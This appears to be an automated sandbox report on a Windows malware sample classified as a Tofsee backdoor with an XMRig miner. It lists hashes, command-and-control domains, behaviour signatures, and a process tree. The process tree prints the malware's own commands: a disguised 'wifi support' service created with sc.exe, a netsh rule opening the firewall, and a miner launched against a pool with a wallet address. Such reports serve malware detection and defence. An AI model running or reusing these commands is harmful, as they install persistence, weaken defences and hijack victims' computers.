Analysis

  • max time kernel
    144s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-12-2022 02:53

General

  • Target

    file.exe

  • Size

    191KB

  • MD5

    bff9693e292aad0bbda02492bb3aa681

  • SHA1

    237e200bebe82d2a0bfecdb5688c0e041b696ac0

  • SHA256

    c2bb35d36cbf438f3c2013a83115b783db85c04f3bc237f3798e884b8ebdff23

  • SHA512

    ddc5beb5fd812367f70f34749f55ff50b74468068899141c96a7d4e9a21ba5db0d5e737844b029858c1e697e9d0e8409519373d69cb863d4e3d4c2dcedf279f4

  • SSDEEP

    3072:2QfXSXjeGetYar6XI5AdDCQDehXG3HcaoZBQPKjoa7hhnRs9E3AZxpR/aW:qYYar4SVC8BBQPKjb7Gvp

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2764
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\detwzsqs\
      2⤵
        PID:3260
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ixlibhdg.exe" C:\Windows\SysWOW64\detwzsqs\
        2⤵
          PID:4912
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create detwzsqs binPath= "C:\Windows\SysWOW64\detwzsqs\ixlibhdg.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3396
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description detwzsqs "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3604
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start detwzsqs
          2⤵
          • Launches sc.exe
          PID:2000
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1436
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2764 -s 1192
          2⤵
          • Program crash
          PID:2552
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 2764 -ip 2764
        1⤵
          PID:3456
        • C:\Windows\SysWOW64\detwzsqs\ixlibhdg.exe
          C:\Windows\SysWOW64\detwzsqs\ixlibhdg.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:1632
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:524
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2116
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1632 -s 532
            2⤵
            • Program crash
            PID:2308
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 1632 -ip 1632
          1⤵
            PID:1772

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\ixlibhdg.exe
            Filesize

            13.1MB

            MD5

            d8fee0f0b1f808cd71d728f06444a5ce

            SHA1

            47cc55f482b5dd7d5c07b037680c772bfa9e83ec

            SHA256

            75f204cdaf0819c83d0eda5f69c90e84870e6f425c8d4883cd9b5e5b5e74910c

            SHA512

            a8c7690c372a9875c700a6c9b8dc8b0ed44cce530dd32bafe3d5b4d26959907e8625b93fb65dc52f5b27ceabf25e11182efb94a9d7c74ccae24ecce54903e962

          • C:\Windows\SysWOW64\detwzsqs\ixlibhdg.exe
            Filesize

            13.1MB

            MD5

            d8fee0f0b1f808cd71d728f06444a5ce

            SHA1

            47cc55f482b5dd7d5c07b037680c772bfa9e83ec

            SHA256

            75f204cdaf0819c83d0eda5f69c90e84870e6f425c8d4883cd9b5e5b5e74910c

            SHA512

            a8c7690c372a9875c700a6c9b8dc8b0ed44cce530dd32bafe3d5b4d26959907e8625b93fb65dc52f5b27ceabf25e11182efb94a9d7c74ccae24ecce54903e962

          • memory/524-157-0x00000000011F0000-0x00000000011F6000-memory.dmp
            Filesize

            24KB

          • memory/524-154-0x0000000002C00000-0x0000000002E0F000-memory.dmp
            Filesize

            2.1MB

          • memory/524-147-0x0000000001020000-0x0000000001035000-memory.dmp
            Filesize

            84KB

          • memory/524-146-0x0000000000000000-mapping.dmp
          • memory/524-169-0x00000000031D0000-0x00000000031D7000-memory.dmp
            Filesize

            28KB

          • memory/524-166-0x0000000007C00000-0x000000000800B000-memory.dmp
            Filesize

            4.0MB

          • memory/524-152-0x0000000001020000-0x0000000001035000-memory.dmp
            Filesize

            84KB

          • memory/524-153-0x0000000001020000-0x0000000001035000-memory.dmp
            Filesize

            84KB

          • memory/524-163-0x00000000023F0000-0x00000000023F5000-memory.dmp
            Filesize

            20KB

          • memory/524-160-0x00000000023A0000-0x00000000023B0000-memory.dmp
            Filesize

            64KB

          • memory/1436-141-0x0000000000000000-mapping.dmp
          • memory/1632-150-0x0000000000803000-0x0000000000813000-memory.dmp
            Filesize

            64KB

          • memory/1632-151-0x0000000000400000-0x0000000000466000-memory.dmp
            Filesize

            408KB

          • memory/2000-140-0x0000000000000000-mapping.dmp
          • memory/2116-178-0x0000000000EF0000-0x0000000000FE1000-memory.dmp
            Filesize

            964KB

          • memory/2116-172-0x0000000000000000-mapping.dmp
          • memory/2116-173-0x0000000000EF0000-0x0000000000FE1000-memory.dmp
            Filesize

            964KB

          • memory/2764-145-0x0000000000400000-0x0000000000466000-memory.dmp
            Filesize

            408KB

          • memory/2764-144-0x0000000002070000-0x0000000002083000-memory.dmp
            Filesize

            76KB

          • memory/2764-132-0x00000000005E9000-0x00000000005FA000-memory.dmp
            Filesize

            68KB

          • memory/2764-143-0x00000000005E9000-0x00000000005FA000-memory.dmp
            Filesize

            68KB

          • memory/2764-133-0x0000000002070000-0x0000000002083000-memory.dmp
            Filesize

            76KB

          • memory/2764-134-0x0000000000400000-0x0000000000466000-memory.dmp
            Filesize

            408KB

          • memory/3260-135-0x0000000000000000-mapping.dmp
          • memory/3396-138-0x0000000000000000-mapping.dmp
          • memory/3604-139-0x0000000000000000-mapping.dmp
          • memory/4912-136-0x0000000000000000-mapping.dmp